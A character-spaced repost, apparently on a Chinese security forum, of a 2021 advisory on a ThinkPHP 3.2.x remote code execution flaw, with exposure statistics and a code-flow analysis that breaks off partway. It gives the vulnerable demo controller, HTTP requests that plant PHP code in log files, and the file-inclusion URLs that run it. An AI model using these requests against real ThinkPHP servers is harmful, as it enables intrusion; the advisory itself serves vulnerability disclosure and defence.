搜索

[20645] 2021-07-12_【漏洞通报】ThinkPHP3.2.xRCE漏洞通报

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2021-07-12_【漏洞通报】ThinkPHP3.2.xRCE漏洞通报 【 漏 洞 通 报 】 T h i n k P H P 3 . 2 . x   R C E 漏 洞 通 报 K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 1 2 以 下 文 章 来 源 于 玄 甲 安 全 实 验 室   ， 作 者 d a r k a r m o u r   l a b s 漏 洞 概 述 近 日 ， 默 安 玄 甲 实 验 室 发 现 网 络 上 出 现 针 对 T h i n k P H P 3 . 2 的 远 程 代 码 执 行 漏 洞 。 该 漏 洞 是 在 受 影 响 的 版 本 中 ， 业 务 代 码 中 如 果 模 板 赋 值 方 法 a s s i g n 的 第 一 个 参 数 可 控 ， 则 可 导 致 模 板 文 件 路 径 变 量 被 覆 盖 为 携 带 攻 击 代 码 的 文 件 路 径 ， 造 成 任 意 文 件 包 含 ， 执 行 任 意 代 码 。 T h i n k P H P 是 一 个 开 源 免 费 的 ， 快 速 、 简 单 的 面 向 对 象 的 轻 量 级 P H P 开 发 框 架 ， 是 为 了 敏 捷 W E B 应 用 开 发 和 简 化 企 业 应 用 开 发 而 诞 生 的 。 T h i n k p h p 在 国 内 拥 有 庞 大 的 用 户 群 体 ， 其 中 不 乏 关 键 基 础 设 施 用 户 。 危 害 等 级 严 重 分 布 情 况 f o f a 分 布 情 况 ： 玄 甲 安 全 实 验 室 玄 甲 安 全 实 验 室   . 玄 甲 实 验 室 是 默 安 科 技 旗 下 的 技 术 研 究 团 队 ， 团 队 由 长 期 在 一 线 的 攻 防 专 家 组 成 。 团 队 主 要 致 力 于 W e b 渗 透 ， A P T 攻 防 、 对 抗 ， 红 队 工 程 化 ， 从 底 层 原 理 到 一 线 实 战 进 行 技 术 研 究 ， 深 入 还 原 攻 与 防 的 技 术 本 质 。
目 前 F O F A 系 统 最 新 数 据 （ 一 年 内 数 据 ） 显 示 中 国 最 多 ， 国 外 的 基 本 是 云 主 机 部 署 。 中 国 范 围 内 共 有 1 3 9 8 0 9 个 使 用 t h i n k p h p 框 架 的 服 务 。 其 中 部 署 于 云 主 机 的 服 务 最 多 ， 共 有 9 6 1 7 2 个 。 山 东 第 二 ， 共 有 4 , 6 3 8 个 ， 广 东 第 三 ， 共 有 4 , 5 6 0 个 ， 上 海 第 四 ， 共 有 2 , 8 5 3 个 ， 江 苏 第 五 ， 共 有 1 , 5 8 5 台 。 g i t e e 分 布 情 况 : g i t h u b 分 布 情 况 ：
目 前 G i t h u b 最 新 数 据 显 示 全 部 仓 库 内 共 有 3 3 1 个 ， 相 关 代 码 行 数 2 4 4 , 8 6 3 个 。 原 理 分 析 0 x 0 1   攻 击 方 式 ： 标 题 ： T h i n k P H P 3 . 2 . x _ a s s i g n 方 法 第 一 个 变 量 可 控 = > 变 量 覆 盖 = > 任 意 文 件 包 含 = > R C E 作 者 ： 北 门 - 王 境 泽 @ 玄 甲 实 验 室 审 稿 ： 梦 想 小 镇 - 晨 星 @ 玄 甲 实 验 室 攻 击 方 式 ： 远 程 漏 洞 危 害 ： 严 重 攻 击 u r l :   h t t p : / / x . x . x . x / i n d e x . p h p ? m = H o m e & c = I n d e x & a = i n d e x & v a l u e [ _ f i l e n a m e ] = . A p p l i c a t i o n R u n t i m e L o g s H o m e 2 1 _ 0 6 _ 3 0 . l o g 标 签 ： T h i n k P H P 3 . 2 . 3   R C E   变 量 覆 盖   文 件 包 含   代 码 执 行 0 x 0 2   利 用 条 件 ： 在 T h i n k P H P 3 . 2 . 3 框 架 的 程 序 中 ， 如 果 要 在 模 板 中 输 出 变 量 ， 需 要 在 控 制 器 中 把 变 量 传 递 给 模 板 ， 系 统 提 供 了 a s s i g n 方 法 对 模 板 变 量 赋 值 ， 本 漏 洞 的 利 用 条 件 为 a s s i g n 方 法 的 第 一 个 变 量 可 控 。 下 面 是 漏 洞 的 d e m o 代 码 ：
d e m o 代 码 说 明 ： 如 果 需 要 测 试 请 把 d e m o 代 码 放 入 对 应 位 置 , 代 码 位 置 ： A p p l i c a t i o n H o m e C o n t r o l l e r I n d e x C o n t r o l l e r . c l a s s . p h p 因 为 程 序 要 进 入 模 板 渲 染 方 法 方 法 中 ， 所 以 需 要 创 建 对 应 的 模 板 文 件 ， 内 容 随 意 ， 模 板 文 件 位 置 ： A p p l i c a t i o n H o m e V i e w I n d e x i n d e x . h t m l 这 里 需 要 说 明 ， 模 板 渲 染 方 法 ( d i s p l a y , f e t c h , s h o w ) 都 可 以 ； 这 里 f e t c h 会 有 一 些 区 别 ， 因 为 f e t c h 程 序 逻 辑 中 会 使 用 o b _ s t a r t ( ) 打 开 缓 冲 区 ， 使 得 P H P 代 码 的 数 据 块 和 e c h o ( ) 输 出 都 会 进 入 缓 冲 区 而 不 会 立 刻 输 出 ， 所 以 构 造 f e t c h 方 法 对 应 的 攻 击 代 码 想 要 输 出 的 话 ， 需 要 在 攻 击 代 码 末 尾 带 上 e x i t ( ) 或 d i e ( ) ; 漏 洞 攻 击 ： 测 试 环 境 ： < ? p h p n a m e s p a c e   H o m e C o n t r o l l e r ; u s e   T h i n k C o n t r o l l e r ; c l a s s   I n d e x C o n t r o l l e r   e x t e n d s   C o n t r o l l e r   {         p u b l i c   f u n c t i o n   i n d e x ( $ v a l u e = ' ' ) {                 $ t h i s - > a s s i g n ( $ v a l u e ) ;                 $ t h i s - > d i s p l a y ( ) ;         } }
T h i n k P H P 3 . 2 . 3 完 整 版   P h p s t u d y 2 0 1 6   P H P - 5 . 6 . 2 7   A p a c h e   W i n d o w s 1 0 d e b u g 模 式 开 启 或 不 开 启 有 一 点 区 别 ， 但 是 都 可 以 。 1 . d e b u g 模 式 关 闭 ： 写 入 攻 击 代 码 到 日 志 中 。 错 误 请 求 系 统 报 错 ： 请 求 数 据 包 ： 日 志 文 件 路 径 （ 这 里 是 默 认 配 置 的 l o g 文 件 路 径 ， T h i n k P H P 的 日 志 路 径 和 日 期 相 关 ） ： A p p l i c a t i o n R u n t i m e L o g s C o m m o n 2 1 _ 0 6 _ 3 0 . l o g G E T   / i n d e x . p h p ? m = - - > < ? = p h p i n f o ( ) ; ? >   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 6 )   A p p l e W e b K i t / 6 0 5 . 1 . 1 5   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 1 3 . 1 . 2   S a f a r i / 6 0 5 . 1 . 1 5 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - G B , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e C o o k i e :   P H P S E S S I D = b 6 r 4 6 o j g c 9 t v d q p g 9 e f r a o 7 f 6 6 ; U p g r a d e - I n s e c u r e - R e q u e s t s :   1
日 志 文 件 内 容 ： 构 造 攻 击 请 求 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? m = H o m e & c = I n d e x & a = i n d e x & v a l u e [ _ f i l e n a m e ] = . / A p p l i c a t i o n / R u n t i m e / L o g s / C o m m o n / 2 1 _ 0 6 _ 3 0 . l o g 2 . d e b u g 模 式 开 启 ： 请 求 数 据 包 ：           上 面 的 错 误 请 求 日 志 方 式 同 样 可 用 。 另 外 d e b u g 模 式 开 启 ， 正 确 请 求 的 日 志 也 会 被 记 录 的 到 日 志 中 ， 但 日 志 路 径 不 一 样 。 G E T   / i n d e x . p h p ? m = H o m e & c = I n d e x & a = i n d e x & t e s t = - - > < ? = p h p i n f o ( ) ; ? >   H T T P / 1 . 1
日 志 文 件 路 径 （ 这 里 是 默 认 配 置 的 l o g 文 件 路 径 ） ： A p p l i c a t i o n R u n t i m e L o g s H o m e 2 1 _ 0 6 _ 3 0 . l o g 构 造 攻 击 请 求 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? m = H o m e & c = I n d e x & a = i n d e x & v a l u e [ _ f i l e n a m e ] = . / A p p l i c a t i o n / R u n t i m e / L o g s / H o m e / 2 1 _ 0 6 _ 3 0 . l o g 3 . 寻 找 程 序 上 传 入 口 ， 上 传 文 件 这 种 方 式 最 可 靠 ， 上 传 具 有 恶 意 代 码 的 任 何 文 件 到 服 务 器 上 ， 直 接 包 含 其 文 件 相 对 或 绝 对 路 径 即 可 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? m = H o m e & c = I n d e x & a = i n d e x & v a l u e [ _ f i l e n a m e ] = . / t e s t . t x t 0 x 0 3   代 码 分 析 程 序 执 行 流 程 ： H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 6 )   A p p l e W e b K i t / 6 0 5 . 1 . 1 5   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 1 3 . 1 . 2   S a f a r i / 6 0 5 . 1 . 1 5 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - G B , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e C o o k i e :   P H P S E S S I D = b 6 r 4 6 o j g c 9 t v d q p g 9 e f r a o 7 f 6 6 ; U p g r a d e - I n s e c u r e - R e q u e s t s :   1
1 . 功 能 代 码 中 的 a s s i g n 方 法 中 第 一 个 变 量 为 可 控 变 量 ： 代 码 位 置 ： 代 码 位 置 ： A p p l i c a t i o n H o m e C o n t r o l l e r I n d e x C o n t r o l l e r . c l a s s . p h p 2 . 可 控 变 量 进 入 a s s i g n 方 法 赋 值 给 $ t h i s → t V a r 变 量 ： 代 码 位 置 ： 代 码 位 置 ： T h i n k P H P L i b r a r y T h i n k V i e w . c l a s s . p h p
3 . 赋 值 结 束 后 进 入 d i s p l a y 方 法 中 ， d i s p l a y 方 法 开 始 解 析 并 获 取 模 板 文 件 内 容 ， 此 时 模 板 文 件 路 径 和 内 容 为 空 ： 代 码 位 置 ： 代 码 位 置 ： T h i n k P H P L i b r a r y T h i n k V i e w . c l a s s . p h p 4 . 程 序 进 入 f e t c h 方 法 中 ， 传 入 的 参 数 为 空 ， 程 序 会 去 根 据 配 置 获 取 默 认 的 模 板 文 件 位 置 （ . / A p p l i c a t i o n / H o m e / V i e w / I n d e x / i n d e x . h t m l ） 。 之 后 ， 系 统 配 置 的 默 认 模 板 引 擎 为 t h i n k ， 所 以 程 序 进 入 e l s e 分 支 ， 获 取 $ t h i s → t V a r 变 量 值 赋 值 给 $ p a r a m s ， 之 后 进 入 H o o k : : l i s t e n 方 法 中 。 代 码 位 置 ： 代 码 位 置 ： T h i n k P H P L i b r a r y T h i n k V i e w . c l a s s . p h p
5 . l i s t e n 方 法 处 理 后 ， 进 入 e x e c 方 法 中 ： 代 码 位 置 ： 代 码 位 置 ： T h i n k P H P L i b r a r y T h i n k H o o k . c l a s s . p h p 6 . 进 入 e x e c 方 法 中 ， 处 理 后 调 用 B e h a v i o r P a r s e T e m p l a t e B e h a v i o r 类 中 的 r u n 方 法 处 理 $ p a r a m s 这 个 带 有 日 志 文 件 路 径 的 值 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理